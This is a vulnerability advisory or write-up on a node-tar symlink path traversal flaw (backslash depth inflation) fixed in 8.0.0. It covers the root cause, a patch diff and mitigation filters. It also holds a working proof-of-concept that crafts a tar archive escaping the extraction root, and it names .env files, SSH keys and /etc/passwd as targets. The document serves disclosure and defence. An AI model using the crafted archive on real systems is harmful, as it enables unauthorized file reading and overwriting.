Dec 2, 2026·13 min read·5 visits
A path separator mismatch in node-tar prior to 8.0.0 treats backslashes as directory delimiters during lexical validation, while POSIX filesystems treat them as literal characters. This allows crafted tar archives containing symbolic links to bypass directory containment checks and reference files outside the intended extraction directory.
CVE-2026-140246 (GHSA-hqgx-p3r3-2cfg) is a path traversal and link-following vulnerability in the node-tar (tar) npm package prior to version 8.0.0. The defect stems from a semantic discrepancy in how backslash characters are processed during lexical path validation versus how they are resolved by POSIX filesystem kernels. By combining a directory containing a literal backslash with a symbolic link utilizing relative parent traversal sequences, an attacker can construct a tar archive that bypasses extraction containment checks and points to arbitrary files outside the target root directory on non-Windows hosts.
The node-tar package (published to the npm registry as tar) is a foundational archive extraction and creation library within the Node.js ecosystem. It is widely integrated into package managers, build pipelines, deployment utilities, and automated cloud workflows to handle untrusted .tar and .tgz archives. Because archive unpacking inherently involves writing user-supplied file structures to disk, node-tar implements default containment controls designed to strip absolute paths and prevent directory traversal outside the designated working directory (cwd).
CVE-2026-140246 (also tracked as GHSA-hqgx-p3r3-2cfg) is a path traversal (CWE-22) and improper link resolution (CWE-59) vulnerability affecting all versions of node-tar prior to 8.0.0. When extracting a symbolic link entry from an archive, node-tar attempts to validate that the link target (linkpath) resolves within the boundaries of the extraction root. However, a discrepancy exists between the path normalization logic used during this validation step and the path resolution rules enforced by POSIX operating systems (such as Linux, macOS, and BSD).
During the validation phase, node-tar unconditionally converts all backslash characters (\) into forward slashes (/) before splitting the path into segments and calculating its relative depth. While backslashes serve as valid directory separators on Windows, POSIX-compliant filesystems treat the backslash as a standard literal character within a file or directory name. Consequently, a single path segment containing a backslash is counted as two separate directory levels downward by node-tar, while the underlying POSIX operating system treats it as a single directory level.
This discrepancy allows an attacker to craft an archive containing a symbolic link whose linkpath incorporates both a backslash-named component and parent directory traversal (..) segments. The inflated depth count during lexical validation causes node-tar to miscalculate the resolved target path as remaining inside the extraction root. Once written to disk via fs.symlink, the POSIX kernel resolves the symbolic link one directory level higher than calculated, enabling the symlink to escape the extraction root and target arbitrary files on the host filesystem.
The root cause of CVE-2026-140246 resides in the [STRIPABSOLUTEPATH] method within src/unpack.ts. When node-tar processes an archive entry without the preservePaths flag enabled, it invokes [STRIPABSOLUTEPATH] on both the entry's destination path and, for link entries, its linkpath. For hard links (type === 'Link') and regular file paths, the presence of any .. segment triggers an immediate rejection. For symbolic links (type === 'SymbolicLink'), node-tar permits relative .. segments provided the resolved target remains inside the extraction root.
To verify containment for symbolic links, the pre-8.0.0 implementation strips any leading root prefix and normalizes path separators using stripped.replaceAll(/\\/g, '/').split('/'). The normalized segments (parts) are then rejoined with forward slashes and combined with the symbolic link's parent directory (entryDir) via path.posix.normalize(path.posix.join(entryDir, parts.join('/'))). If the resulting POSIX-normalized string begins with '../' or equals '..', the extraction is aborted with a TAR_ENTRY_ERROR warning.
The failure in this validation model is twofold. First, stripped.replaceAll(/\\/g, '/') treats a single directory name containing a literal backslash (e.g., A\B) as two nested directories (A/B) during the lexical check, while passing the unmodified string entry.linkpath to the underlying Node.js fs.symlink call. Second, path.posix.normalize collapses named_dir/.. pairs strictly lexically without verifying how the operating system resolves the intermediate path components on disk.
When node-tar validates linkpath = "A\\B/../../outside.txt" for an entry located at the root of the extraction directory (entryDir = "."), the string replacement transforms it into "A/B/../../outside.txt". Passing this string to path.posix.normalize cancels out both .. segments against A and B, yielding "outside.txt". Because "outside.txt" does not start with '../', the validation succeeds. However, when the archive also creates the literal directory "A\B" on a POSIX filesystem, the kernel resolves "A\B" as a single directory entry of depth 1. The first .. returns to depth 0 (the extraction root), and the second .. traverses to depth -1 (the parent of the extraction root), achieving a directory escape.
Prior to version 8.0.0, src/unpack.ts relied exclusively on path.posix.normalize to compute whether a symbolic link target escaped the extraction directory. The vulnerable code path in [STRIPABSOLUTEPATH] is shown below:
// Vulnerable code in src/unpack.ts (node-tar < 8.0.0)
[STRIPABSOLUTEPATH](entry: ReadEntry, field: 'path' | 'linkpath'): boolean {
const p = entry[field]
const { type } = entry
if (!p || this.preservePaths) return true
// Strip off the root
const [root, stripped] = stripAbsolutePath(p)
// FLAW 1: Unconditional replacement of '\' with '/' inflates segment count on POSIX
const parts = stripped.replaceAll(/\\/g, '/').split('/')
if (
parts.includes('..') ||
(isWindows && parts.some(p => /^[a-z]:\.\.$/i.test(p)))
) {
if (field === 'path' || type === 'Link') {
this.warn('TAR_ENTRY_ERROR', `${field} contains '..'`, {
entry,
[field]: p,
})
return false
}
// FLAW 2: Unnormalized entry.path used for dirname calculation
const entryDir = path.posix.dirname(entry.path)
// FLAW 3: Lexical normalization allows 'named/..' pairs to cancel out '..' traversal
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)
if (resolved.startsWith('../') || resolved === '..') {
this.warn(
'TAR_ENTRY_ERROR',
`${field} escapes extraction directory`,
{
entry,
[field]: p,
},
)
return false
}
}
// ... continues to strip root if needed and return true
}In commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d, the maintainer addressed this vulnerability by hardening the linkpath validation rules inside [STRIPABSOLUTEPATH]. Rather than attempting to match platform-specific separator semantics during lexical resolution, the patch prohibits .. segments from appearing anywhere after a named path segment within a linkpath.
--- a/src/unpack.ts
+++ b/src/unpack.ts
@@ -279,7 +279,23 @@ export class Unpack extends Parser {
// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
- const entryDir = path.posix.dirname(entry.path)
+ // A '..' is only safe at the start of the target. Any named
+ // part before it can be a symlink, and then the '..' goes to
+ // the parent of that symlink's target.
+ const firstName = parts.findIndex(
+ part => part !== '..' && part !== '.' && part !== '',
+ )
+ if (firstName !== -1 && parts.includes('..', firstName)) {
+ this.warn(
+ 'TAR_ENTRY_ERROR',
+ `${field} contains '..' after a path portion`,
+ { entry, [field]: p },
+ )
+ return false
+ }
+ // Normalize the path, so that the directory is the one where
+ // the link is created. The path 'x/.' creates the link 'x'.
+ const entryDir = path.posix.dirname(path.posix.normalize(entry.path))
const resolved = path.posix.normalize(
path.posix.join(entryDir, parts.join('/')),
)The patch introduces two critical security invariants:
firstName) and checking parts.includes('..', firstName), node-tar rejects any linkpath where a .. segment follows a named directory component. This completely eliminates the ability to use artificial directory depth (whether via backslashes or nested symlinks) to cancel out subsequent .. segments during path.posix.normalize. A valid relative linkpath can now only ascend the directory tree from the symlink's own parent directory before descending into a target path.dirname: The patch wraps entry.path in path.posix.normalize(entry.path) before calling path.posix.dirname. Previously, an entry.path ending in a trailing dot component such as 'x/.' would yield entryDir = 'x', even though the link itself is created at 'x' (whose true parent directory is '.'). This prevented off-by-one depth miscalculations via trailing dot segments in the entry path.This structural fix is complete against both backslash-inflated depth attacks and chained symlink traversal within linkpath, because no named segment is permitted to precede a .. segment under any circumstances.
Exploiting CVE-2026-140246 requires an application running on a POSIX host (such as Linux or macOS) to extract an attacker-supplied tar archive using node-tar version < 8.0.0 with default configuration settings (preservePaths: false). No special privileges or authentication are needed beyond the ability to submit an archive for extraction.
To construct a working exploit archive, the attacker creates two tar entries. The first entry is a directory with a literal backslash in its name, such as A\B/, with standard permissions (0o755). When extracted on a POSIX system, node-tar creates a single subdirectory named A\B inside the extraction root. Note that because node-tar also splits entry path fields on / after converting \ to / in some contexts or preserves entry.path when no root or .. is present, when A\B/ contains neither a leading root nor .., [STRIPABSOLUTEPATH] leaves entry.path unmodified as A\B/, creating the literal directory A\B on disk.
The second entry is a symbolic link (type: 'SymbolicLink') placed at the root of the extraction directory (e.g., path: 'esc'). The linkpath of this entry is set to A\B/../../outside.txt. To traverse $N$ levels above the extraction root, the attacker can chain $N$ backslashes within the directory name (e.g., A\B\C provides a lexical depth of 3 while occupying an actual POSIX filesystem depth of 1, allowing two levels of escape via ../../../).
import fs from 'node:fs';
import path from 'node:path';
import * as tar from 'tar';
// Prepare test workspace on a POSIX system
const testRoot = '/tmp/test-exploit';
const extractDir = path.join(testRoot, 'extraction');
fs.mkdirSync(extractDir, { recursive: true });
fs.writeFileSync(path.join(testRoot, 'outside.txt'), 'SECRET_HOST_DATA');
// Entry 1: Directory with a literal backslash in the name
const header1 = Buffer.alloc(512);
new tar.Header({
path: 'A\\B/',
type: 'Directory',
mode: 0o755,
}).encode(header1);
// Entry 2: SymbolicLink utilizing backslash depth inflation to escape root
const header2 = Buffer.alloc(512);
new tar.Header({
path: 'esc',
type: 'SymbolicLink',
linkpath: 'A\\B/../../outside.txt',
mode: 0o755,
}).encode(header2);
const eof = Buffer.alloc(1024);
const tarball = Buffer.concat([header1, header2, eof]);
// Extract archive using vulnerable node-tar (< 8.0.0)
tar.x({
cwd: extractDir,
sync: true,
}, [tarball]);
// Verify arbitrary file access outside extraction root
const symlinkPath = path.join(extractDir, 'esc');
if (fs.existsSync(symlinkPath)) {
console.log('Resolved target:', fs.realpathSync(symlinkPath));
console.log('Exfiltrated data:', fs.readFileSync(symlinkPath, 'utf8'));
}When executed against node-tar versions prior to 8.0.0 on Linux or macOS, tar.x completes without emitting any warnings. The symlink /tmp/test-exploit/extraction/esc is written to disk and resolves directly to /tmp/test-exploit/outside.txt. If the application subsequently serves, reads, packages, or writes through files in the extraction directory, the attacker gains unauthorized read or write access to files outside the extraction sandbox.
CVE-2026-140246 carries a CVSS v4.0 Base Score of 7.2 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. The Attack Vector is Network (AV:N) with Low Attack Complexity (AC:L) and No Attack Requirements (AT:N), reflecting that an attacker can deliver a crafted tar archive over the network to any service that unpacks archives without relying on race conditions or non-default configurations. Privileges Required is None (PR:N), while User Interaction is Passive (UI:P), corresponding to a user or automated workflow unpacking an untrusted archive.
The concrete security impact depends on how the consuming application interacts with the extracted files after unpacking finishes. In scenarios where an application extracts an uploaded archive and makes the extracted directory accessible via a web server, Static Site Generator (SSG), or artifact download endpoint, planting a symbolic link that points outside the extraction root enables arbitrary file disclosure (MITRE ATT&CK T1005, T1083). An attacker can symlink to sensitive application configuration files, .env secrets, SSH keys, or /etc/passwd and retrieve their contents.
In scenarios where downstream application logic modifies, appends to, or overwrites files within the extracted directory without first verifying fs.lstat (i.e., following symbolic links via standard fs.writeFile or stream operations), the attacker achieves high integrity impact (VI:H). Writing through the escaped symbolic link allows corruption or replacement of critical files outside the extraction boundary, which can lead to privilege escalation or remote code execution if executable scripts, configuration files, or authorized keys are overwritten.
Because Windows natively treats \ as a directory separator in filesystem calls, the separator differential does not manifest in the same way on Windows hosts. Consequently, POSIX-based environments—which make up the vast majority of production Node.js server deployments, containers, and CI/CD runners—represent the primary affected attack surface.
The definitive remediation for CVE-2026-140246 is to upgrade the tar package to version 8.0.0 or later. Version 8.0.0 incorporates commit 23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d and commit 634eea74d893808fcf297272d6bbdaeedd69d3f4, which enforce that relative .. segments in symbolic link targets cannot appear after any named path component and normalize entry paths before calculating parent directories.
> [!NOTE]
> Upgrading to tar@8.0.0 introduces breaking architectural changes. Version 8.0.0 requires Node.js 22 or higher, replaces legacy Minipass streams with native Web Streams and async iterators, removes single-letter option aliases (such as C, f, and z in favor of cwd, file, and gzip), and requires importing from tar/node for default node:fs filesystem bindings.
For environments running on older Node.js runtimes (such as Node.js 18 or 20) where an immediate upgrade to tar@8.0.0 is blocked by runtime requirements, developers must implement extraction filters at the application layer to neutralize the attack vector. If symbolic links are not required by the application use case, reject all SymbolicLink entries during extraction using the filter configuration callback:
import * as tar from 'tar';
await tar.x({
file: 'untrusted-archive.tar',
cwd: '/path/to/extraction/dir',
strict: true,
filter: (entryPath, entry) => {
// Block all symbolic links and hard links from untrusted archives
if (entry.type === 'SymbolicLink' || entry.type === 'Link') {
return false;
}
// Block any entry paths containing literal backslashes on POSIX systems
if (entryPath.includes('\\')) {
return false;
}
return true;
},
});If symbolic links must be supported in a pre-8.0.0 environment, the filter callback can replicate the v8.0.0 security check by rejecting any entry where entry.path or entry.linkpath contains a backslash character (\), or where entry.linkpath contains a .. segment after a named directory segment:
filter: (entryPath, entry) => {
if (entryPath.includes('\\')) return false;
if (entry.type === 'SymbolicLink' && entry.linkpath) {
if (entry.linkpath.includes('\\')) return false;
const parts = entry.linkpath.split('/');
const firstName = parts.findIndex(p => p !== '..' && p !== '.' && p !== '');
if (firstName !== -1 && parts.includes('..', firstName)) {
return false;
}
}
return true;
}Additionally, enable strict: true in all tar.x calls so that any warning emitted by node-tar immediately halts extraction and throws an exception rather than continuing silently.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
tar (node-tar) isaacs | < 8.0.0 | 8.0.0 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-140246 (GHSA-hqgx-p3r3-2cfg) |
| Weakness Class | CWE-22 (Path Traversal) / CWE-59 (Improper Link Resolution) |
| CVSS v4.0 Score | 7.2 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N) |
| Affected Versions | node-tar (tar) < 8.0.0 |
| Patched Version | node-tar (tar) 8.0.0 |
| Attack Vector | Network (Crafted tar archive containing backslash directory and symlink) |
| Exploit Status | Proof-of-Concept available in official regression tests |
| CISA KEV Status | Not Listed |
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
CVE-2026-140250 (GHSA-3wwj-8j6r-q339) is a high-severity symbolic link containment bypass and path traversal vulnerability in node-tar (npm package 'tar'), affecting versions 7.5.5 through 7.5.24. When extracting archives using default options, the Unpack class validates symbolic link targets using purely lexical path normalization. An attacker can supply a crafted archive containing chained symbolic links combined with directory traversal segments ('..') to create symbolic links that resolve outside the designated extraction directory. If the host application subsequently follows the created link, it can lead to arbitrary file disclosure or modification within the application's privilege context.
CVE-2026-140249 (also tracked as GHSA-4pf9-5fpx-xmr6) is a path traversal and improper link resolution vulnerability in node-tar, the core tar archive manipulation library for Node.js. Affecting versions 7.5.5 through 7.5.24, the flaw resides in the symbolic link path validation routine executed during archive extraction via tar.x(). Because the library validates link targets using purely lexical string manipulation rather than filesystem-aware path resolution, an attacker can craft an archive containing chained symlinks or unnormalized path suffixes that bypass traversal checks. Although node-tar does not directly write archive payloads through escaping symlinks during the extraction phase, it allows the creation of symlinks inside the extraction directory that resolve to arbitrary locations on the host filesystem. Any subsequent read or write operation performed by the host application on the extracted directory tree follows these symlinks, leading to arbitrary file disclosure or overwrite within the privilege context of the Node.js process.
CVE-2026-140247 (GHSA-gvrf-jx37-rjv5) is a high-severity path traversal and link resolution vulnerability in the npm tar package (node-tar) prior to version 8.0.0. The library validates symbolic link targets lexically rather than against the physical filesystem hierarchy, allowing specially crafted archives to create symlinks inside the extraction directory that resolve to arbitrary locations outside the extraction root.
CVE-2026-140245 (GHSA-jmj2-9c5q-vw73) is a path traversal vulnerability (CWE-22) affecting versions 7.5.5 through 7.5.24 of the node-tar (tar) archive manipulation library for Node.js. A discrepancy between path evaluation during symlink containment validation and actual filesystem placement allows archives containing symbolic link entries with trailing dot segments (such as '/.' or '/./') to bypass directory boundary checks. When extracted under default configurations, these crafted entries create symbolic links pointing outside the designated extraction directory (cwd), establishing a primitive for arbitrary file overwrite or creation during subsequent extraction steps.
CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.
CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.